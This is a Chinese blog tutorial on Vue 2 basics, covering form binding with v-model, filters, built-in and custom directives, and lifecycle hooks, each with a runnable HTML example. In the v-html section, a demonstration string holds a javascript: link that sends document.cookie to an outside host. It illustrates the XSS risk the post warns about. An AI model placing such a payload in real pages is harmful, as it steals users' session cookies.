vue2基础知识点（4）收集表单数据、过滤器、内置指令、自定义指令、生命周期

最新推荐文章于 2023-11-05 15:00:20 发布
最新推荐文章于 2023-11-05 15:00:20 发布
阅读量96 收藏
点赞数
分类专栏： # vue2基础知识点 文章标签： vue.js javascript 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44242181/article/details/124956706
版权

王元肉==>个人主页

大家一起加油，我喜欢分专栏将知识打碎成一份一份小知识点，一篇文章只说一个知识点，因此每篇文章篇幅较短，希望大家不要介意。如有需要可以查看专栏看看是否有该文章中涉及到的知识点进行讲解的文章，如果大家觉得有帮助，希望大家三连支持一下。

推荐阅读

文章结构

收集表单数据

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>收集表单数据</title>
</head>

<body>
    <!-- 
			收集表单数据：
			若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。
			若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。
			若：<input type="checkbox"/>
			1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
			2.配置input的value属性:
			(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
			(2)v-model的初始值是数组，那么收集的的就是value组成的数组
			备注：v-model的三个修饰符：
			lazy：失去焦点再收集数据
			number：输入字符串转为有效的数字
			trim：输入首尾空格过滤
		-->
    <!-- 准备好一个容器-->
    <div id="root">
        <form @submit.prevent="demo">
            <!-- 去掉前后的空格 -->
            账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/> 密码：
            <input type="password" v-model="userInfo.password"> <br/><br/>
            <!-- 第一个number限制输入的时候只能输入数字，第二个number将表单收集的字符转换为number类型 -->
            年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/> 性别： 男
            <input type="radio" name="sex" v-model="userInfo.sex" value="male"> 女
            <input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/> 爱好： 学习
            <input type="checkbox" v-model="userInfo.hobby" value="study"> 打游戏
            <input type="checkbox" v-model="userInfo.hobby" value="game"> 吃饭
            <input type="checkbox" v-model="userInfo.hobby" value="eat">
            <br/><br/> 所属校区
            <select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
            <br/><br/> 其他信息：
            <!-- lazy失去焦点再将值传给vue -->
            <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
            <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.baidu.com">《用户协议》</a>
            <button>提交</button>
        </form>
    </div>
</body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.9/vue.min.js"></script>
<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el: '#root',
        data: {
            userInfo: {
                account: '',
                password: '',
                age: 18,
                sex: 'female',
                hobby: [],
                city: 'beijing',
                other: '',
                agree: ''
            }
        },
        methods: {
            demo() {
                console.log(this.userInfo)
            }
        }
    })
</script>

</html>

在这里插入图片描述

过滤器

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>过滤器</title>
</head>

<body>
    <!-- 
			过滤器：
				定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
				语法：
						1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
						2.使用过滤器：{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
				备注：
						1.过滤器也可以接收额外参数、多个过滤器也可以串联
						2.并没有改变原本的数据, 是产生新的对应的数据
		-->
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>显示格式化后的时间</h2>
        <!-- 计算属性实现 -->
        <h3>现在是：{{fmtTime}}</h3>
        <!-- methods实现 -->
        <h3>现在是：{{getFmtTime()}}</h3>
        <!-- 过滤器实现 -->
        <h3>现在是：{{time | timeFormater}}</h3>
        <!-- 过滤器实现（传参） -->
        <h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
        <input :value="msg | mySlice"></input>
    </div>

    <div id="root2">
        <h2>{{msg | mySlice}}</h2>
    </div>
</body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.9/vue.min.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.2/dayjs.min.js"></script>
<script type="text/javascript">
    Vue.config.productionTip = false
        //全局过滤器,必须写在Vue实例之前
    Vue.filter('mySlice', function(value) {
        return value.slice(0, 4)
    })

    new Vue({
        el: '#root',
        data: {
            time: 1621561377603, //时间戳
            msg: '你好，尚硅谷'
        },
        computed: {
            fmtTime() {
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        methods: {
            getFmtTime() {
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        //局部过滤器
        filters: {
            timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
                // console.log('@',value)
                return dayjs(value).format(str)
            }
        }
    })

    new Vue({
        el: '#root2',
        data: {
            msg: 'hello,atguigu!'
        }
    })
</script>

</html>

在这里插入图片描述

内置指令

v-text

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>v-text指令</title>
    <!-- 引入Vue -->
</head>

<body>
    <!-- 
			我们学过的指令：
			v-bind	: 单向绑定解析表达式, 可简写为 :xxx
			v-model	: 双向数据绑定
			v-for  	: 遍历数组/对象/字符串
			v-on   	: 绑定事件监听, 可简写为@
			v-if 	 	: 条件渲染（动态控制节点是否存存在）
			v-else 	: 条件渲染（动态控制节点是否存存在）
			v-show 	: 条件渲染 (动态控制节点是否展示)
			v-text指令：
			1.作用：向其所在的节点中渲染文本内容。会替换掉节点中的所有文本内容
			2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
		-->
    <!-- 准备好一个容器-->
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name"></div>
        <div v-text="str"></div>
    </div>
</body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.9/vue.min.js"></script>
<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
            str: '<h3>你好啊！</h3>'
        }
    })
</script>

</html>

在这里插入图片描述

v-html

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>v-html指令</title>
</head>

<body>
    <!-- 
			v-html指令：
			1.作用：向指定节点中渲染包含html结构的内容。
			2.与插值语法的区别：
			(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
			(2).v-html可以识别html结构。
			3.严重注意：v-html有安全性问题！！！！
			(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
			(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
		-->
    <!-- 准备好一个容器-->
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
</body>
<!-- 引入Vue -->
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.9/vue.min.js"></script>
<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
            str: '<h3>你好啊！</h3>',
            str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
        }
    })
</script>

</html>

在这里插入图片描述

v-cloak

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>v-cloak指令</title>
    <style>
        [v-cloak] {
            display: none;
        }
    </style>
    <!-- 引入Vue -->
</head>

<body>
    <!-- 
				v-cloak指令（没有值）：
						1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
						2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
		-->
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
</body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.9/vue.min.js"></script>
<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷'
        }
    })
</script>

</html>

v-once

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>v-once指令</title>
</head>

<body>
    <!-- 
			v-once指令：
						1.v-once所在节点在初次动态渲染后，就视为静态内容了。
						2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
		-->
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-once>初始化的n值是:{{ n }}</h2>
        <h2>当前的n值是:{{ n }}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<!-- 引入Vue -->
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.9/vue.min.js"></script>
<script type="text/javascript">
    Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: "#root",
        data: {
            n: 1
        }
    });
</script>

</html>

在这里插入图片描述

v-pre

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>v-pre指令</title>
</head>

<body>
    <!-- 
			v-pre指令：
					1.跳过其所在节点的编译过程。
					2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
          在你不需要vue处理其子节点内容的时候使用，也就是如果你只是想把vue代码展示出来，而不是被vue解析的时候用。一般情况下用的比较少，其使用场景很小。
		-->
    <div id="root">
        <h2 v-pre>Vue其实很简单{{n}}</h2>
        <h2>当前的n值是:{{ n }}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.9/vue.min.js"></script>
<script type="text/javascript">
    Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: "#root",
        data: {
            n: 1
        }
    });
</script>

</html>

自定义指令

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>自定义指令</title>
    <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.9/vue.min.js"></script>
</head>

<body>
    <!-- 
				需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
				需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
				自定义指令总结：
						一、定义语法：
									(1).局部指令：
												new Vue({															new Vue({
													directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
												}) 																		})
									(2).全局指令：
													Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

						二、配置对象中常用的3个回调：
									(1).bind：指令与元素成功绑定时调用。
									(2).inserted：指令所在元素被插入页面时调用。
									(3).update：指令所在模板结构被重新解析时调用。

						三、备注：
									1.指令定义时不加v-，但使用时要加v-；
									2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。
		-->
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>{{name}}</h2>
        <h2>当前的n值是：<span v-text="n"></span> </h2>
        <!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
        <h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
        <button @click="n++">点我n+1</button>
        <hr />
        <input type="text" v-fbind:value="n">
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false

    //定义全局指令
    /* Vue.directive('fbind',{
    	//指令与元素成功绑定时（一上来）
    	bind(element,binding){
    		element.value = binding.value
    	},
    	//指令所在元素被插入页面时
    	inserted(element,binding){
    		element.focus()
    	},
    	//指令所在的模板被重新解析时
    	update(element,binding){
    		element.value = binding.value
    	}
    }) */

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
            n: 1
        },
        directives: {
            //big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
            // 长名称命名的规则
            /* 'big-number'(element,binding){
            	// console.log('big')
            	element.innerText = binding.value * 10
            }, */
            // 回调函数的形式
            big(element, binding) {
                console.log('big', this) //注意此处的this是window
                    // console.log('big')
                element.innerText = binding.value * 10
            },
            // 配置对象的形式
            fbind: {
                //指令与元素成功绑定时（一上来）
                bind(element, binding) {
                    element.value = binding.value
                },
                //指令所在元素被插入页面时
                inserted(element, binding) {
                    element.focus()
                },
                //指令所在的模板被重新解析时
                update(element, binding) {
                    element.value = binding.value
                }
            }
        }
    })
</script>

</html>

在这里插入图片描述

生命周期

在这里插入图片描述

引出生命周期

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <!-- 引入Vue -->
    <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.9/vue.min.js"></script>
</head>

<body>
    <!-- 
				生命周期：
						1.又名：生命周期回调函数、生命周期函数、生命周期钩子。
						2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。
						3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。
						4.生命周期函数中的this指向是vm 或 组件实例对象。
		-->
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-if="a">你好啊</h2>
        <h2 :style="{opacity}">欢迎学习Vue</h2>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            a: false,
            opacity: 1
        },
        methods: {

        },
        //Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
        mounted() {
            console.log('mounted', this)
            setInterval(() => {
                this.opacity -= 0.01
                if (this.opacity <= 0) this.opacity = 1
            }, 16)
        },
    })

    //通过外部的定时器实现（不推荐）
    /* setInterval(() => {
    	vm.opacity -= 0.01
    	if(vm.opacity <= 0) vm.opacity = 1
    },16) */
</script>

</html>

分析生命周期

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>分析生命周期</title>
    <!-- 引入Vue -->
    <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.9/vue.min.js"></script>
</head>

<body>
    <!-- 准备好一个容器-->
    <div id="root" :x="n">
        <h2 v-text="n"></h2>
        <h2>当前的n值是：{{n}}</h2>
        <button @click="add">点我n+1</button>
        <button @click="bye">点我销毁vm</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        // template会将真实divroot节点全部替换
        // <template>标签不会解析到页面中
        // template:`
        // 	<div>
        // 		<h2>当前的n值是：{{n}}</h2>
        // 		<button @click="add">点我n+1</button>
        // 	</div>
        // `,
        data: {
            n: 1
        },
        methods: {
            add() {
                console.log('add')
                this.n++
            },
            bye() {
                console.log('bye')
                this.$destroy()
            }
        },
        watch: {
            n() {
                console.log('n变了')
            }
        },
        beforeCreate() {
            console.log('beforeCreate')
        },
        created() {
            console.log('created')
        },
        beforeMount() {
            console.log('beforeMount')
        },
        mounted() {
            console.log('mounted')
        },
        beforeUpdate() {
            console.log('beforeUpdate')
        },
        updated() {
            console.log('updated')
        },
        beforeDestroy() {
            console.log('beforeDestroy')
        },
        destroyed() {
            console.log('destroyed')
        },
    })
</script>

</html>

在这里插入图片描述

总结生命周期

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>总结生命周期</title>
    <!-- 引入Vue -->
    <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.9/vue.min.js"></script>
</head>

<body>
    <!-- 
				常用的生命周期钩子：
						1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
						2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

				关于销毁Vue实例
						1.销毁后借助Vue开发者工具看不到任何信息。
						2.销毁后自定义事件会失效，但原生DOM事件依然有效。
						3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。
		-->
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 :style="{opacity}">欢迎学习Vue</h2>
        <button @click="opacity = 1">透明度设置为1</button>
        <button @click="stop">点我停止变换</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el: '#root',
        data: {
            opacity: 1
        },
        methods: {
            stop() {
                this.$destroy()
            }
        },
        //Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
        mounted() {
            console.log('mounted', this)
            this.timer = setInterval(() => {
                console.log('setInterval')
                this.opacity -= 0.01
                if (this.opacity <= 0) this.opacity = 1
            }, 16)
        },
        beforeDestroy() {
            clearInterval(this.timer)
            console.log('vm即将驾鹤西游了')
        },
    })
</script>

</html>

在这里插入图片描述
结束啦！

LiuJie_Boom
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
vue相关知识点练习，共十三章
06-05
8. **指令与过滤器**：理解Vue的内置指令（如v-bind、v-on等）和过滤器的用法，以及如何自定义指令和过滤器。 9. **异步操作与生命周期**：探讨Vue组件的生命周期钩子，如何在不同阶段进行异步操作，如axios库的...
Vue基础（六）——表单
pro1822的博客
05-03 6014
Vue基础（六）——表单
Vue2（五）：收集表单数据、过滤器、自定义指令、生命周期
Kiwi23333的博客
11-05 105
定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理比如价格1999改成1,999等需求，复杂的用计算属性或方法）。语法：或{{ xxx | 过滤器名}}或v-bind:属性 = "xxx | 过滤器名"（第二种几乎不用）备注：1、过滤器也可以接收额外参数、多个过滤器也可以串联2、并没有改变原本的数据, 是产生新的对应的数据v-bind: 单向绑定解析表达式, 可简写为 :xxxv-model: 双向数据绑定v-for: 遍历数组/对象/字符串v-on。
vue(html,css,vue2,vue3) 学习总结
明明明的博客
07-19 1020
vue,css,html,vue2,vue3 学习总结
vue项目（2）--elem 表单验证、路由配置、登录逻辑
weixin_43527781的博客
07-01 317
路由配置 elem表单验证 html结构 el-form中 ref是表单id rule是导出函数的验证规则 model是绑定的数据。 el-form-item label 是名字 prop是父子间传值传给子组件，也就是把rule中的规则传给他,制定了校验规则名 el-input 不说明了， this.$refs[formName].validate是组件封装好的函数，表单验证通过是true 否则false <template> <div class="login-co
Vue2 - 模板、渲染、事件处理、表单输入绑定
编码时光
07-19 1024
如果数据项的顺序被改变，Vue 将不会移动 DOM 元素来匹配数据项的顺序，而是就地更新每个元素，并且确保它们在每个索引位置正确渲染。在我们的模板中，我们一直都只绑定简单的 property 键值，Vue.js 都提供了完全的 JavaScript 表达式支持。为了给 Vue 一个提示，以便它能跟踪每个节点的身份，从而重用和重新排序现有元素，你需要为每项提供一个唯一的。是“真正”的条件渲染，因为它会确保在切换过程中，条件块内的事件监听器和子组件适当地被销毁和重建。因此，如果需要非常频繁地切换，则使用。
Vue.js知识点各个击破系列视频课程
06-09
本“Vue.js知识点各个击破系列视频课程”将深入讲解Vue 2.x的核心概念和技术，旨在帮助初学者和有一定经验的开发者系统地掌握Vue的精髓。 首先，我们从基础开始，了解Vue的安装和基本配置。通过`npm install vue`...
Vue表单验证插件的制作过程
08-30
Vue表单验证插件的制作过程涉及到多个关键知识点，包括Vue插件开发、指令系统、数据绑定和事件处理。以下是对这些知识点的详细解释： ### Vue插件开发 Vue插件通常用于扩展Vue的功能，它们可以通过`Vue.use()`方法...
Vue基础培训案例笔记素材等全套课程课件资料.zip
05-04
5. **指令与过滤器**: 指令如`v-if`、`v-for`控制DOM的渲染，过滤器则可以对数据进行格式化处理。 6. **组件化**: Vue中的组件是可复用的代码块，可以封装HTML、CSS和JavaScript。组件化提高了代码的组织性和可维护...
vue.js2.chm中文手册下载
11-28
Vue.js 2.0 API包含了大量的实例方法、全局API、指令、过滤器等，如`$mount`、`$destroy`用于实例生命周期管理，`Vue.set`用于添加响应式属性，`Vue.extend`用于创建组件构造函数。 总的来说，Vue.js 2.0中文手册...
Vue收集表单数据
李公子的博客
07-29 429
收集表单数据： 若：<inputtype="text"/>，则v-model收集的是value值，用户输入的就是value值。 若：<inputtype="radio"/>，则v-model收集的是value值，且要给标签配置value值。 若：<inputtype="checkbox"/> 1.没有配置input的valu...
【Vue】基础系列（七）双向数据绑定-自动收集数据-表单数据自动更新
YK菌的博客
01-19 1761
学习使用v-model(双向数据绑定)自动收集数据
HTML基础和VUE基础
weixin_43117055的博客
09-30 1377
记录HTML和VUE的学习之旅
Vue2 实现表单控件
每一个不曾起舞的日子，都是对人生的辜负。
01-30 484
示例程序 &lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;script type="text/javascript" src="Vue-v2.5.22.js"&gt;&lt;/script&am
Vue2项目使用element ui Form表单、表单验证，在使用Form的时候遇到的一些问题，清空表单，重置表单。
qq_43336145的博客
07-31 1088
（注意1：如果按钮不写在form表单里面则获取不到表单的验证规则，则也就无法进行表单验证。注意2：有时候会忘记给表单添加ref，如果没有添加ref，点击按钮之后则也会获取不到表单的验证规则，所以一定要满足这两个条件。上面内容完成之后则需要在点击确定的时候触发表单验证，将按钮写在form表单里面，然后通过点击事件将form表单传递过去，然后进行判断，如果验证未通过则返回error。在平时我们开发管理系统项目的时候，为了方便快速的开发，减少项目开发时间。属性传入约定的验证规则，并将 Form-Item 的。
Vue2基础-模板语法与指令语法（HTML版）
大脑不能为空
07-01 314
Vue模板语法的介绍
vue php 表单,vue自动化表单实例分析
weixin_29658015的博客
03-23 113
本篇文章通过实例给大家分享了vue自动化表单的操作方法以及相关的代码做了描述，有兴趣的朋友可以跟着学习下。背景B端系统表单较多，且表单可能含有较多字段字段较多的表单带来了大片HTML代码在大片HTML中，混杂着参数绑定、事件处理等逻辑，不利于维护技术栈 Vue，Element(默认表单布局)适合中后台项目快速开发目标通过json配置快速生成表单的vue plugin。设计目标减少html 重复片段...
vue 基础 —— html版的 Vue 入门基础
猎人在吃肉
09-16 4416
数据驱动视图数据的变化会驱动视图自动更新好处：程序员只把数据维护好，那么页面结构会被Vue自动渲染出来。双向数据绑定js数据的变化，会被自动渲染到页面上页面上表单采集的数据发生变化的时候，会被Vue自动获取，并更新到js数据中。 2、vue指令 **指令（Directives）**是Vue为开发者提供的 模板语法，用于 辅助开发者渲染页面的基本结构。Vue中的指令按照不同的用途，可分为6大类：指令是Vue开发中最基础、最常吸入、最简单的知识点。内容渲染指令 用来辅助开发者 渲染 DOM 元素的文本内容
vue2[初级] 表单处理
u011664286的博客
09-22 216
vue 表单事件处理
vue2自定义指令的生命周期
最新发布
03-08
Vue2中自定义指令的生命周期包括以下几个阶段： 1. bind：在指令第一次绑定到元素时调用。在这个阶段，可以执行一次性的初始化设置。 2. inserted：在被绑定元素插入父节点时调用。如果指令绑定的元素是动态插入的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LiuJie_Boom

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值